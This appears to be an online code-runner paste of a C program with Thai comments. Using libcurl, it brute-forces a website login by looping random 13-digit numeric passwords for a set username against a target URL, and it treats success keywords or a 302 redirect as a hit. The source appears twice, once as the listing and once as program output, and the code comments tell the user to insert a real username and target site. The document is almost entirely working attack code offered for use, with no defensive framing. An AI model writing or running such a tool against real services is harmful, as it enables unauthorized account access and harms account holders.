fork download
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <time.h>
  5. #include <curl/curl.h>
  6.  
  7. #define PASSWORD_LENGTH 13
  8.  
  9. // ANSI Color Codes
  10. #define COLOR_RED "\033[1;31m"
  11. #define COLOR_GREEN "\033[1;32m"
  12. #define COLOR_RESET "\033[0m"
  13.  
  14. // ฟังก์ชันสุ่มรหัสผ่าน 13 หลักตัวเลข
  15. void generate_password(char *password) {
  16. for (int i = 0; i < PASSWORD_LENGTH; i++) {
  17. password[i] = '0' + (rand() % 10);
  18. }
  19. password[PASSWORD_LENGTH] = '\0';
  20. }
  21.  
  22. // ฟังก์ชัน callback สำหรับเก็บผลลัพธ์ response body
  23. size_t write_callback(void *ptr, size_t size, size_t nmemb, char *data) {
  24. size_t total_size = size * nmemb;
  25. strncat(data, (char*)ptr, total_size);
  26. return total_size;
  27. }
  28.  
  29. int main() {
  30. srand(time(NULL));
  31.  
  32. CURL *curl;
  33. CURLcode res;
  34. char password[PASSWORD_LENGTH + 1];
  35. char postfields[256];
  36. char response_data[4096] = ""; // เก็บ response body
  37.  
  38. char *username = "username"; // เปลี่ยนเป็นชื่อผู้ใช้จริง
  39. const char *url = "https://e...content-available-to-author-only...e.com"; // เปลี่ยน URL เป็นเว็บไซต์เป้าหมาย
  40.  
  41. // คำที่ใช้ตรวจสอบว่าล็อกอินสำเร็จหรือไม่
  42. const char *success_keywords[] = {
  43. "dashboard", "home", "profile", "welcome", "success", "เข้าสู่ระบบสำเร็จ", NULL
  44. };
  45.  
  46. curl_global_init(CURL_GLOBAL_DEFAULT);
  47. curl = curl_easy_init();
  48. if (!curl) {
  49. fprintf(stderr, "Curl init failed\n");
  50. return 1;
  51. }
  52.  
  53. while (1) {
  54. generate_password(password);
  55. snprintf(postfields, sizeof(postfields), "username=%s&password=%s", username, password);
  56.  
  57. response_data[0] = '\0'; // เคลียร์ buffer
  58.  
  59. curl_easy_setopt(curl, CURLOPT_URL, url);
  60. curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postfields);
  61. curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
  62. curl_easy_setopt(curl, CURLOPT_WRITEDATA, response_data);
  63.  
  64. res = curl_easy_perform(curl);
  65.  
  66. if (res != CURLE_OK) {
  67. fprintf(stderr, COLOR_RED "curl_easy_perform() failed: %s\n" COLOR_RESET, curl_easy_strerror(res));
  68. break;
  69. }
  70.  
  71. long response_code;
  72. curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
  73.  
  74. printf("กำลังทดสอบรหัสผ่าน: %s\n", password);
  75.  
  76. int matched = 0;
  77. if (response_code == 200) {
  78. for (int i = 0; success_keywords[i] != NULL; i++) {
  79. if (strstr(response_data, success_keywords[i]) != NULL) {
  80. matched = 1;
  81. break;
  82. }
  83. }
  84.  
  85. if (matched) {
  86. printf(COLOR_GREEN "✅ รหัสผ่านที่ถูกต้องคือ: %s\n" COLOR_RESET, password);
  87. break;
  88. } else {
  89. printf(COLOR_RED "❌ รหัสผ่าน %s ไม่ถูกต้อง\n" COLOR_RESET, password);
  90. }
  91. } else if (response_code == 302) {
  92. printf(COLOR_GREEN "✅ รหัสผ่านที่ถูกต้องคือ: %s (การเปลี่ยนหน้า)\n" COLOR_RESET, password);
  93. break;
  94. } else {
  95. printf(COLOR_RED "❌ รหัสผ่าน %s ไม่ถูกต้อง (รหัสสถานะ: %ld)\n" COLOR_RESET, password, response_code);
  96. }
  97. }
  98.  
  99. curl_easy_cleanup(curl);
  100. curl_global_cleanup();
  101.  
  102. return 0;
  103. }
Success #stdin #stdout 0.04s 25836KB
stdin
Standard input is empty
stdout
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <curl/curl.h>

#define PASSWORD_LENGTH 13

// ANSI Color Codes
#define COLOR_RED     "\033[1;31m"
#define COLOR_GREEN   "\033[1;32m"
#define COLOR_RESET   "\033[0m"

// ฟังก์ชันสุ่มรหัสผ่าน 13 หลักตัวเลข
void generate_password(char *password) {
    for (int i = 0; i < PASSWORD_LENGTH; i++) {
        password[i] = '0' + (rand() % 10);
    }
    password[PASSWORD_LENGTH] = '\0';
}

// ฟังก์ชัน callback สำหรับเก็บผลลัพธ์ response body
size_t write_callback(void *ptr, size_t size, size_t nmemb, char *data) {
    size_t total_size = size * nmemb;
    strncat(data, (char*)ptr, total_size);
    return total_size;
}

int main() {
    srand(time(NULL));

    CURL *curl;
    CURLcode res;
    char password[PASSWORD_LENGTH + 1];
    char postfields[256];
    char response_data[4096] = "";  // เก็บ response body

    char *username = "username"; // เปลี่ยนเป็นชื่อผู้ใช้จริง
    const char *url = "https://e...content-available-to-author-only...e.com"; // เปลี่ยน URL เป็นเว็บไซต์เป้าหมาย

    // คำที่ใช้ตรวจสอบว่าล็อกอินสำเร็จหรือไม่
    const char *success_keywords[] = {
        "dashboard", "home", "profile", "welcome", "success", "เข้าสู่ระบบสำเร็จ", NULL
    };

    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();
    if (!curl) {
        fprintf(stderr, "Curl init failed\n");
        return 1;
    }

    while (1) {
        generate_password(password);
        snprintf(postfields, sizeof(postfields), "username=%s&password=%s", username, password);

        response_data[0] = '\0'; // เคลียร์ buffer

        curl_easy_setopt(curl, CURLOPT_URL, url);
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postfields);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, response_data);

        res = curl_easy_perform(curl);

        if (res != CURLE_OK) {
            fprintf(stderr, COLOR_RED "curl_easy_perform() failed: %s\n" COLOR_RESET, curl_easy_strerror(res));
            break;
        }

        long response_code;
        curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);

        printf("กำลังทดสอบรหัสผ่าน: %s\n", password);

        int matched = 0;
        if (response_code == 200) {
            for (int i = 0; success_keywords[i] != NULL; i++) {
                if (strstr(response_data, success_keywords[i]) != NULL) {
                    matched = 1;
                    break;
                }
            }

            if (matched) {
                printf(COLOR_GREEN "✅ รหัสผ่านที่ถูกต้องคือ: %s\n" COLOR_RESET, password);
                break;
            } else {
                printf(COLOR_RED "❌ รหัสผ่าน %s ไม่ถูกต้อง\n" COLOR_RESET, password);
            }
        } else if (response_code == 302) {
            printf(COLOR_GREEN "✅ รหัสผ่านที่ถูกต้องคือ: %s (การเปลี่ยนหน้า)\n" COLOR_RESET, password);
            break;
        } else {
            printf(COLOR_RED "❌ รหัสผ่าน %s ไม่ถูกต้อง (รหัสสถานะ: %ld)\n" COLOR_RESET, password, response_code);
        }
    }

    curl_easy_cleanup(curl);
    curl_global_cleanup();

    return 0;
}